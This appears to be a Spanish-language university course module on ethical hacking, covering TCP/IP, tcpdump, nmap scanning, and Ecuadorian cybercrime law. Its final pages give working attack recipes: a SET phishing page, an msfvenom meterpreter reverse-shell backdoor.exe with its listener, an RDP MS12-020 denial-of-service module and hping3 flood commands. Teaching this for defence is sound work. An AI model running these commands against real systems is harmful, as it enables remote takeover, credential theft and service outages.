Está en la página 1de 46

[AFO02885Q] Seminario de titulación

[MOD0247C5] Seminario de Titulación


[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Introducción

La palabra “hacker” trata de un neologismo que se refiere a un experto o persona de amplios

conocimientos, que no necesariamente necesita de experiencia, la cual está relacionada con las

tecnologías de la información y telecomunicaciones. Su conocimiento no solo se basa en saber

utilizarlas bien o con gran pericia, además, también le permite registrar el funcionamiento de estas y

llegar a modificar el comportamiento a su manera. Dentro de la especialidad ‘hacker’, podemos

encontrar otras variaciones las cuales presentan unas características algo distintas a la original.

c
.e
Una de las más conocidas es ‘cracker’. Este posee la similitud respecto al ‘hacker’ de utilizar sus

du
conocimientos sobre las tecnologías de la información para violar su seguridad, pero con la

.e
diferencia de que los fines son para beneficio propio y con un propósito que suele conllevar a una

infracción penal.

te
.u
La otra cara del ‘hacker’ la encontramos en el título de este apartado, el ‘hacker’ ético. Este es
ea
completamente opuesto al ‘cracker’, ya que sus fines se basan en conocer al sistema para poder

protegerlo de la mejor manera posible, haciendo que las vulnerabilidades que este ‘hacker’
in

encuentre sean arregladas y se conviertan en invulnerabilidades.


l
en

Hoy en día a ambos tipos de ‘hacker’ mostrados aquí se les llama de la misma manera, pero dentro
as

de un contexto más especializado en seguridad informática deberemos de especificar bien el título

que merece cada ‘hacker’ según sus intenciones u objetivos.


ri
st

Para entender de una forma más práctica este punto, podemos exponer algunas prácticas que los
ae

‘hackers’ éticos realizan en su labor.


m

Si en una empresa existe una red en la cual se conectan todos los sistemas para compartir

información importante, existe un riesgo que desde el exterior se pueda obtener acceso a esta red y

obtener tal información. En este punto entra en juego el conocimiento del sistema para intentar

encontrar el modus operandi de un ‘cracker’ a la hora de penetrar en una red. Una vez localizado, el

‘hacker’ ético impondrá una serie de barreras para que sea imposible la entrada de cualquier

amenaza.

No obstante, no siempre se encuentra una solución definitiva a todos los peligros, pero si es

maestriasenlinea.ute.edu.ec
1 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

aconsejable que cuanto más tiempo se le dedique a la seguridad y un mayor conocimiento se tenga,

menos probabilidades de éxito tendrán estos.

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
2 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Resultado del aprendizaje

Conocer en que consiste la seguridad informática y cómo surge. Aprender que es el hacking

ético y como este no necesariamente puede ser usado para hacer el mal.

La importancia de conocer a los enemigos y usar ese conocimiento para mejorar la seguridad.

Conocer cómo se realiza el proceso de selección de víctimas para posibles hackeos.

Aprender que es un ataque informático y como este puede tener diversas consecuencias.

c
Conocer las medidas imprescindibles para los hackers éticos que deben de asegurar el acceso

.e
seguro a los sistemas.

du
Conocer el uso de protocolos de tipo TCP/IP y como se relaciona con la red.

Aprender cual es el funcionamiento del protocolo IPv6.

.e
Saber cuáles son las herramientas que pueden ser usadas para realizar un análisis del tráfico

te
de la red. .u
Conocer los diferentes tipos de ataques que se pueden realizar y cuáles son las consecuencias
ea

que acarrean con ellos.

Conocer qué tipo de seguridad se aplica en los sistemas WiFi.


in

Conocer que el DNS y como este se relaciona con la IP.


l
en

Conocer la personalización que hacen los sistemas de operativos acerca de los usuarios, grupos

y los permisos que tienen asignados.


as

Saber cómo la contraseña ha sido desde el comienzo una de las medidas estándar de
ri

protección.
st

Aprender como la virtualización tiene sus ventajas e inconvenientes en la seguridad de los


ae

mismos.

Saber cómo ciertos virus pueden afectar a los procesos de arranque, hibernación, etc.
m

Conocer los consejos de seguridad web para evitar todo tipo de ataques.

maestriasenlinea.ute.edu.ec
3 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Mapa Conceptual

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
4 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

1. Hacking Ético de Infraestructura de Redes y Servidores.


Bases TCP/IP. Aplicación por capa

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
5 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
.e
te
.u
ea

1.1. Comandos de administración de Linux


l in
en

Three-Way Handshake
as

Con el uso de protocolo TCP, las aplicaciones pueden comunicarse en forma segura (gracias al

"acuse de recibo" -ACK- del protocolo TCP) independientemente de las capas inferiores. Esto
ri

significa que los routers (que funcionan en la capa de red) solo tienen que enviar los datos en forma
st

de segmentos, sin preocuparse con el monitoreo de datos porque esta función la cumple la capa de
ae

transporte (o más específicamente el protocolo TCP).


m

Caracteristicas del protocolo TCP

Permite colocar los segmentos nuevamente en orden cuando vienen del protocolo IP.

Permite el monitoreo del flujo de los datos y así evitar la saturación de la red.

Permite que los datos se formen en segmentos de longitud variada para "entregarlos" al

protocolo IP.

Permite multiplexar los datos, es decir, que la información que viene de diferentes fuentes (por

maestriasenlinea.ute.edu.ec
6 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

ejemplo, aplicaciones) en la misma línea pueda circular simultáneamente.

Por último, permite comenzar y finalizar la comunicación amablemente.

Negociación en 3 pasos

Aunque es posible que un par de entidades finales comiencen una conexión entre ellas

simultáneamente, normalmente una de ellas abre un socket en un determinado puerto TCP y se

queda a la escucha de nuevas conexiones. Es común referirse a esto como apertura pasiva, y

c
.e
determina el lado servidor de una conexión. El lado cliente de una conexión realiza una apertura

activa de un puerto enviando un paquete SYN inicial al servidor como parte de la negociación en

du
tres pasos. En el lado del servidor (este receptor también puede ser una PC o alguna estación

.e
terminal) se comprueba si el puerto está abierto, es decir, si existe algún proceso escuchando en ese

te
puerto, pues se debe verificar que el dispositivo de destino tenga este servicio activo y esté

aceptando peticiones en el número de puerto que el cliente intenta usar para la sesión. En caso de
.u
no estarlo, se envía al cliente un paquete de respuesta con el bit RST activado, lo que significa el
ea

rechazo del intento de conexión. En caso de que sí se encuentre abierto el puerto, el lado servidor
in

respondería a la petición SYN válida con un paquete SYN/ACK. Finalmente, el cliente debería

responderle al servidor con un ACK, completando así la negociación en tres pasos (SYN, SYN/ACK y
l
en

ACK) y la fase de establecimiento de conexión. Es interesante notar que existe un número de


as

secuencia generado por cada lado, ayudando de este modo a que no se puedan establecer

conexiones falseadas (spoofing).


ri
st
ae
m

maestriasenlinea.ute.edu.ec
7 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

1.2. Análisis de tráfico que circula en la red

Su red es la columna vertebral de sus operaciones comerciales. Asegúrate de saber lo que está

pasando en su interior.

tcpdump es una increíble herramienta de línea de comandos para rastrear redes. Es un estándar de

la industria para capturar y analizar paquetes TCP / IP.

La herramienta tcpdump puede ser de gran ayuda para resolver networking cuestiones. Los

c
.e
paquetes se pueden guardar en un archivo y luego analizar. Es una buena idea ejecutar esta

du
herramienta de vez en cuando para vigilar su red.

.e
tcpdump le permite examinar los encabezados de los paquetes TCP / IP. Imprime una línea para

cada paquete y el comando sigue ejecutándose hasta que presiona Ctrl + C para terminar.

te
.u
Examinemos una línea de un resultado de ejemplo:
ea

20:58:26.765637 IP 10.0.0.50.80 > 10.0.0.1.53181: Flags [F.], seq 1, ack 2, win 453, options
in

[nop,nop,TS val 3822939 ecr 249100129], length 0


l
en

Cada línea incluye:


as

Marca de tiempo de Unix (20:58:26.765637)


ri

Protocolo (IP).
st

El nombre de host o IP de origen y el número de puerto (10.0.0.50.80).


ae

Nombre de host o IP de destino y número de puerto (10.0.0.1.53181).


m

Banderas TCP (Flags [F.]). Las banderas indican el estado de la conexión. Esto puede incluir más

de un valor, como en este ejemplo [F.] para FIN-ACK. Este campo puede tener los siguientes valores:

S - SYN. El primer paso para establecer la conexión.

F - FIN. Terminación de la conexión.

. - ACK. Paquete de acuse de recibo recibido correctamente.

P - EMPUJE. Le dice al receptor que procese paquetes en lugar de almacenarlos en búfer.

maestriasenlinea.ute.edu.ec
8 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

R - RST. La comunicación se detuvo.

Número de secuencia de los datos del paquete. (seq 1)

Número de acuse de recibo (ack 2)

Tamaño de ventana (win 453). El número de bytes disponibles en el búfer de recepción. A esto

le siguen las opciones de TCP.

Longitud de la carga útil de datos. (length 0)

c
Installation

.e
du
En distribuciones basadas en Debian, tcpdump se puede instalar con el comando APT:

.e
# apt install tcpdump -y

te
En distribuciones basadas en RPM, tcpdump se puede instalar con YUM:
.u
# yum install tcpdump -y
ea
usando DNF si RHEL 8

# dnf install tcpdump -y


in

tcpdump command options


l
en

Necesita ser root para ejecutar tcpdump. Incluye muchas opciones y filtros. La ejecución de
as

tcpdump sin ninguna opción capturará todos los paquetes que fluyen a través de la interfaz
ri

predeterminada.
st

Para ver la lista de interfaces de red disponibles en el sistema y en las que tcpdump puede capturar
ae

paquetes.
m

# tcpdump -D

Or

# Tcpdump --list-interfaces

1.eth0

2.nflog (Linux netfilter log (NFLOG) interface)

maestriasenlinea.ute.edu.ec
9 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

3.nfqueue (Linux netfilter queue (NFQUEUE) interface)

4.eth1

5.any (Pseudo-device that captures on all interfaces)

6.lo [Loopback]

Esto es especialmente útil en sistemas que no tienen un comando para listar interfaces.

c
.e
Para capturar paquetes que fluyen a través de una interfaz específica, use el -i bandera con el

du
nombre de la interfaz. Sin el -i interfaz tcpdump elegirá la primera interfaz de red que encuentra.

.e
# tcpdump -i eth1

te
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes


.u
01:06:09.278817 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 4761, seq 1,
ea

length 64
in

01:06:09.279374 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 4761, seq 1,


l

length 64
en

01:06:10.281142 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 4761, seq 2,


as

length 64
ri

Los -v bandera aumenta la información que ve sobre los paquetes, -vv te da aún más detalles.
st
ae

De forma predeterminada, tcpdump resuelve las direcciones IP en nombres de host y también usa

nombres de servicio en lugar de números de puerto. Si el DNS está roto o no desea que tcpdump
m

realice búsquedas de nombres, use el -n .

# tcpdump -n

listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

04:19:07.675216 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 2186733178:2186733278,

ack 204106815, win 37232, length 100

04:19:07.675497 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 100, win 65535, length 0

04:19:07.675747 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 100:136, ack 1, win 37232,

maestriasenlinea.ute.edu.ec
10 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

length 36

04:19:07.675902 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 136, win 65535, length 0

04:19:07.676142 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 136:236, ack 1, win 37232,

length 100

Para capturar solo un conjunto de líneas, digamos 5, use el -c bandera:

c
#tcpdump -c 5

.e
04:19:07.675216 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 2186733178:2186733278,

du
ack 204106815, win 37232, length 100

04:19:07.675497 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 100, win 65535, length 0

.e
04:19:07.675747 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 100:136, ack 1, win 37232,

te
length 36 .u
04:19:07.675902 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 136, win 65535, length 0

04:19:07.676142 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 136:236, ack 1, win 37232,
ea

length 100
in

5 packets captured
l
en

La salida predeterminada de tcpdump usa marcas de tiempo Unix. Para capturar paquetes con una
as

marca de tiempo legible por humanos:


ri

# tcpdump -tttt
st

2020-07-06 04:30:12.203638 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq


ae

2186734102:2186734138, ack 204107103, win 37232, length 36


m

2020-07-06 04:30:12.203910 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 36, win 65535,

length 0

2020-07-06 04:30:12.204292 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 36:72, ack 1, win

37232, length 36

2020-07-06 04:30:12.204524 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 72, win 65535,

length 0

2020-07-06 04:30:12.204658 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 72:108, ack 1,

win 37232, length 36

maestriasenlinea.ute.edu.ec
11 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

tcpdump filter expressions

Las expresiones de filtro seleccionan qué encabezados de paquete se mostrarán. Si no se aplican

filtros, se muestran todos los encabezados de los paquetes. Los filtros más utilizados son puerto,

host, src, dst, tcp, udp, icmp.

Filtro de puerto

Utilice el filtro de puerto para ver los paquetes que llegan a un puerto específico:

c
.e
# Tcpdump -i eth1 -c 5 port 80

du
23:54:24.978612 IP 10.0.0.1.53971 > 10.0.0.50.80: Flags [SEW], seq 53967733, win 65535,

.e
options [mss 1460,nop,wscale 5,nop,nop,TS val 256360128 ecr 0,sackOK,eol], length 0

te
23:54:24.978650 IP 10.0.0.50.80 > 10.0.0.1.53971: Flags [S.E], seq 996967790, ack 53967734,

win 28960, options [mss 1460,sackOK,TS val 5625522 ecr 256360128,nop,wscale 6], length 0
.u
23:54:24.978699 IP 10.0.0.1.53972 > 10.0.0.50.80: Flags [SEW], seq 226341105, win 65535,
ea

options [mss 1460,nop,wscale 5,nop,nop,TS val 256360128 ecr 0,sackOK,eol], length 0


in

23:54:24.978711 IP 10.0.0.50.80 > 10.0.0.1.53972: Flags [S.E], seq 1363851389, ack

226341106, win 28960, options [mss 1460,sackOK,TS val 5625522 ecr 256360128,nop,wscale
l
en

6], length 0
as

Filtro de host
ri
st

Para capturar todos los paquetes que llegan o salen del host con la dirección IP 10.0.2.15:
ae

# tcpdump host 10.0.2.15


m

03:48:06.087509 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 3862934963:3862934999,

ack 65355639, win 37232, length 36

03:48:06.087806 IP 10.0.2.2.50225 > 10.0.2.15.22: Flags [.], ack 36, win 65535, length 0

03:48:06.088087 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 36:72, ack 1, win 37232,

length 36

03:48:06.088274 IP 10.0.2.2.50225 > 10.0.2.15.22: Flags [.], ack 72, win 65535, length 0

03:48:06.088440 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 72:108, ack 1, win 37232,

length 36

maestriasenlinea.ute.edu.ec
12 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Para capturar paquetes de un tipo de protocolo específico, por ejemplo, icmp, en la interfaz eth1:

# tcpdump -i eth1 icmp

04:03:47.408545 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 75,

length 64

04:03:47.408999 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 2812, seq 75,

length 64

c
04:03:48.408697 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 76,

.e
length 64

du
04:03:48.409208 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 2812, seq 76,

length 64

.e
04:03:49.411287 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 77,

te
length 64 .u
Combinar expresiones de filtro
ea
in

Puede combinar estas expresiones de filtro con los operadores AND, OR y NOT. Esto le permitirá

escribir comandos que pueden aislar paquetes con mayor precisión:


l
en

Paquetes de una IP específica y destinados a un puerto específico:


as
ri

# tcpdump -n -i eth1 src 10.0.0.1 and dst port 80


st

00:18:17.155066 IP 10.0.0.1.54222 > 10.0.0.50.80: Flags [F.], seq 500773341, ack

2116767648, win 4117, options [nop,nop,TS val 257786173 ecr 5979014], length 0
ae

00:18:17.155104 IP 10.0.0.1.54225 > 10.0.0.50.80: Flags [S], seq 904045691, win 65535,
m

options [mss 1460,nop,wscale 5,nop,nop,TS val 257786173 ecr 0,sackOK,eol], length 0

00:18:17.157337 IP 10.0.0.1.54221 > 10.0.0.50.80: Flags [P.], seq 4282813257:4282813756,

ack 1348066220, win 4111, options [nop,nop,TS val 257786174 ecr 5979015], length 499:

HTTP: GET / HTTP/1.1

00:18:17.157366 IP 10.0.0.1.54225 > 10.0.0.50.80: Flags [.], ack 1306947508, win 4117,

options [nop,nop,TS val 257786174 ecr 5983566], length 0

Para capturar todos los paquetes excepto ICMP, use el operador NOT:

maestriasenlinea.ute.edu.ec
13 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

# tcpdump -i eth1 not icmp

Saving packet headers to a file

Dado que la salida de tcpdump puede desplazarse más allá de la pantalla bastante rápido, puede

almacenar los encabezados de los paquetes en un archivo con el indicador -w. Los archivos para

guardar la salida usan formato pcap y tienen una extensión de .pcap.

PCAP significa captura de paquetes. El siguiente comando guarda 10 líneas de salida en la interfaz

c
.e
eth1 en icmp.pcap.

du
# tcpdump -i eth1 -c 10 -w icmp.pcap

.e
tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes

te
10 packets captured
.u
10 packets received by filter
ea

0 packets dropped by kernel


l in

Puede leer este archivo con -r bandera:


en
as

tcpdump -r icmp.pcap
ri

reading from file icmp.pcap, link-type EN10MB (Ethernet)


st

05:33:20.852732 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 33,
ae

length 64
m

05:33:20.853245 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 3261, seq 33, length

64

05:33:21.852586 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 34,

length 64

05:33:21.853104 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 3261, seq 34, length

64

maestriasenlinea.ute.edu.ec
14 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

05:33:22.852615 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 35,

length 64

Viewing packet details

Hasta ahora solo hemos visto los encabezados de los paquetes, para ver el uso del contenido del

paquete -A opción. Esto imprime el contenido del paquete en ASCII, que puede ser de ayuda en la

resolución de problemas de red. también -X bandera se puede utilizar para mostrar la salida en

c
formato hexadecimal. Esto puede no ser de mucha ayuda si la conexión está encriptada.

.e
# tcpdump -c10 -i eth1 -n -A port 80

du
23:35:53.109306 IP 10.0.0.1.53916 > 10.0.0.50.80: Flags [P.], seq 2366590408:2366590907, ack

.e
175457677, win 4111, options [nop,nop,TS val 255253117 ecr 5344866], length 499: HTTP: GET /

te
HTTP/1.1 .u
E..'..@.@.%.
ea

...
l in

..2...P..M.
en

uE............
as
ri

.6.}.Q.bGET / HTTP/1.1
st

Host: 10.0.0.50
ae

Connection: keep-alive
m

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/83.0.4103.116 Safari/537.36

Accept:

maestriasenlinea.ute.edu.ec
15 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,applicatio

n/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

If-Modified-Since: Tue, 04 Mar 2014 11:46:45 GMT

c
.e
1.3. Herramientas de auditorias y Hacking Ético

du
Kali Linux

.e
FTK Imager

te
Autopsy .u
Pentoo Linux - Penetration Testing and Security Assessment
ea

https://www.pentoo.ch

DEFT Forensic – Incident Response


in

http://www.deftlinux.net/
l
en

CAINE Linux – Digital Forensics Project

https://www.caine-live.net
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
16 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
17 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
.e
te
1.4. Detección de Sistemas Operativos .u
Al realizar una consulta por ICMP, debemos verificar la respuesta del Time To Live
ea
in

Linux/Unix: 64
l

Windows: 128
en

MacOS: 64
as

Solaris/AIX: 254
ri
st
ae
m

maestriasenlinea.ute.edu.ec
18 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

NMAP
Nmap es la mejor herramienta de escaneo de puertos y descubrimiento de hosts que existe

actualmente. Nmap nos permitirá obtener una gran cantidad de información sobre los equipos de

nuestra red, es capaz de escanear qué hosts están levantados, e incluso comprobar si tienen algún

puerto abierto, si están filtrando los puertos (tienen un firewall activado), e incluso saber qué

sistema operativo está utilizando un determinado objetivo. ¿Quieres saber todo sobre Nmap y cómo

utilizarlo? En RedesZone te explicamos todo lo que debes saber sobre esta herramienta.

c
.e
Principales características

du
Nmap es una utilidad completamente gratuita y de código abierto, nos permite descubrir redes y

.e
host, así como realizar auditoría de seguridad. Este programa es compatible con sistemas operativos

te
Linux, Windows y también macOS, pero en todos ellos se utiliza a través de la línea de comandos,

aunque tenemos la posibilidad de instalar ZenMap que es la utilidad gráfica de Nmap para hacer los
.u
escaneos de puertos a través de la interfaz gráfica de usuario. Si no quieres pelearte con comandos
ea

a través de consola, esta interfaz gráfica de usuario te podría ser útil para los primeros pasos con
in

este gran programa, no obstante, cuando tengas más experiencia seguramente ejecutes todas las
l

órdenes directamente desde terminal.


en

Nmap nos permite detectar hosts de una red local, y también a través de Internet, de esta forma,
as

podremos saber si dichos hosts (ordenadores, servidores, routers, switches, dispositivos IoT) están
ri

actualmente conectados a Internet o a la red local. Esta herramienta también permite realizar un
st

escaneo de puertos a los diferentes hosts, ver qué servicios tenemos activos en dichos hosts gracias
ae

a que nos dirá el estado de sus puertos, podremos saber qué sistema operativo está utilizando un

determinado equipo, e incluso podremos automatizar diferentes pruebas de pentesting para


m

comprobar la seguridad de los equipos.

Nmap tiene diferentes tipos de escaneo de puertos, pueden ser a través de segmentos TCP,

datagramas UDP o paquetes ICMP, además, permite realizar escaneos de forma oculta para que

sean difíciles de detectar por los firewalls. Por supuesto, podremos hacer escaneo de puertos sobre

ciertos puertos en concreto, entre rangos de puertos, rangos de direcciones IP, posibilidad de usar

paquetes TCP null, FIN, Xmas y ACK además de SYN, para localizar los puertos TCP abiertos.

maestriasenlinea.ute.edu.ec
19 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Otras características que nos brinda esta herramienta, es la posibilidad de hacer un completo

inventario de red, e incluso comprobar si un determinado host o servicio sigue levantado y

funcionando. Este programa fue diseñado para escanear una gran cantidad de hosts, por tanto, si

necesitas escanear múltiples objetivos no tendrás problemas. Este programe es muy flexible,

incorpora decenas de técnicas avanzadas para escanear hosts y puertos, además, también permite

realizar auditorías a través de NSE (Nmap Search Engine), por lo que es realmente potente.

Nmap tiene varios estados en los puertos que aparecerán cuando hagamos un escaneo de puertos.

c
.e
Es fundamental saber qué significa cada estado de Nmap, porque con cualquier escaneo de puertos,

nos devolverá diferentes estados.

du
Estado de los puertos con Nmap

.e
te
Open: una aplicación está activamente aceptando conexiones TCP o UDP. El puerto está
.u
abierto y se puede utilizar, los pentesters podrán utilizar este puerto abierto para explotar el
ea
sistema. Es el estado por defecto si no tenemos ningún firewall bloqueando accesos.

Closed: un puerto que está cerrado es accesible porque responde a Nmap, sin embargo, no
in

hay ninguna aplicación funcionando en dicho puerto. Es útil para descubrir que un host está
l
en

levantado, o como parte de la detección de un sistema operativo. De cara al administrador del

sistema, es recomendable filtrar estos puertos con el firewall para que no sean accesibles. De
as

cara al pentester, es recomendable dejar estos puertos “cerrados” para analizar más tarde, por
ri

si ponen algún servicio nuevo.


st

Filtered: en este estado Nmap no puede determinar si el puerto está abierto, porque hay un
ae

firewall filtrando los paquetes de Nmap en dicho puerto. Estos puertos filtrados son los que

aparecerán cuando tengamos un firewall activado. Nmap intentará en varias ocasiones intentar
m

conectar, lo que hace que el escaneo de puertos sea bastante lento.

Open| Filtered: Nmap no sabe si el puerto está abierto o filtrado. Esto ocurre porque el puerto

abierto no envía ninguna respuesta, y dicha falta de respuesta podría ser por el firewall. Este

estado aparece cuando usamos UDP y IP, y utilizamos escaneos FIN, NULL y Xmas.

Closed | Filtered: en este estado no se sabe si el puerto está cerrado o filtrado. Solo se usa

este estado en el IP Idle Scan.

Una vez que hemos visto las principales características de Nmap, y el estado de los puertos que

maestriasenlinea.ute.edu.ec
20 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

tenemos disponibles, vamos a instalarlo y utilizarlo.

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

sudo nmap -sS 172.105.228.131 -p 22

sudo nmap -sS 172.105.228.131 -p53

sudo nmap -sS 172.105.228.131 -p 80

sudo nmap -sS 172.105.228.131 -p 80,22

maestriasenlinea.ute.edu.ec
21 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

sudo nmap -sS 172.105.228.131 -p 80,22,81

sudo nmap -sS 172.105.228.131 -p 80,22,81,8000

sudo nmap -sS -sU 172.105.228.131 -pT:80,443,U:53,139-150

sudo nmap -sS --top-ports 10 --open 172.20.1.0/24 -Pn -n

Revisión de artículos del COIP

103.- Pornografía Infantil.- “desnudos o semidesnudos reales o simulados de NMA”

c
.e
104.- Comercialización de pornografía con utilización de niñas, niños o adolescentes

du
173.- Contacto con finalidad sexual con menores de dieciocho años por medios

electrónicos

.e
174.-Oferta de servicios sexuales con menores de dieciocho años por medios electrónicos

te
178.- Violación a la intimidad.- “sin consentimiento o autorización legal de
.u
información Comunicaciones o datos, excepto que participe en el audio o video”

190.- Apropiación fraudulenta por medios electrónicos.- Hackeo con fines de lucro.
ea

211.- Supresión alteración o suposición de la identidad y estado civil.


in

212.- Suplantación de identidad.


l

229.- Revelación ilegal de base de datos


en

230.- Interceptación ilegal de datos


as

231.- Fraude electrónico


ri

232.- Penaliza todo tipo de hackeo incluso “ético” cubre también DDoS
st

234.- Acceso no consentido a sistemas, no hay hackeo, pero hay daño o beneficio
ae

Phishing
m

setoolkit

SET 1

SET 2

SET 3

maestriasenlinea.ute.edu.ec
22 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

SET 2

SET IP KALI

SET <pagina falsa>

pasar link con ip de atacante..... Happy Hacking!!!

c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m

maestriasenlinea.ute.edu.ec
23 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

Ataque de engaño con anzuelo


1. Crear el archivo malicioso

msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.100.40

LPORT=4444 -f exe -o backdoor.exe

2. Levantar el listener:

c
msfconsole

.e
du
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

.e
te
set lhost 192.168.100.40 <IP KALI> .u
set lport 4444
ea

exploit
in

Ataque a RDP - Remote Desktop Protocol - DoS


l
en
as
ri
st
ae
m

msfconsole

use auxiliary /dos /windows /rdp /ms12_020_maxchannelids

set rhosts 10.10.10.137 {víctima}

options

exploit

maestriasenlinea.ute.edu.ec
24 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa

c
.e
du
.e
te
.u
ea

Apaque de DoS y DDoS al servicio e infraestructura


in

DDOS – ATAQUES A LA INFRAESTRUCTURA


l
en

hping3 --rand-source --flood 192.168.44.130


as

hping3 192.168.44.128 -i -u1


ri

hping3 192.168.44.128 -i -u1 -d 65000


st
ae

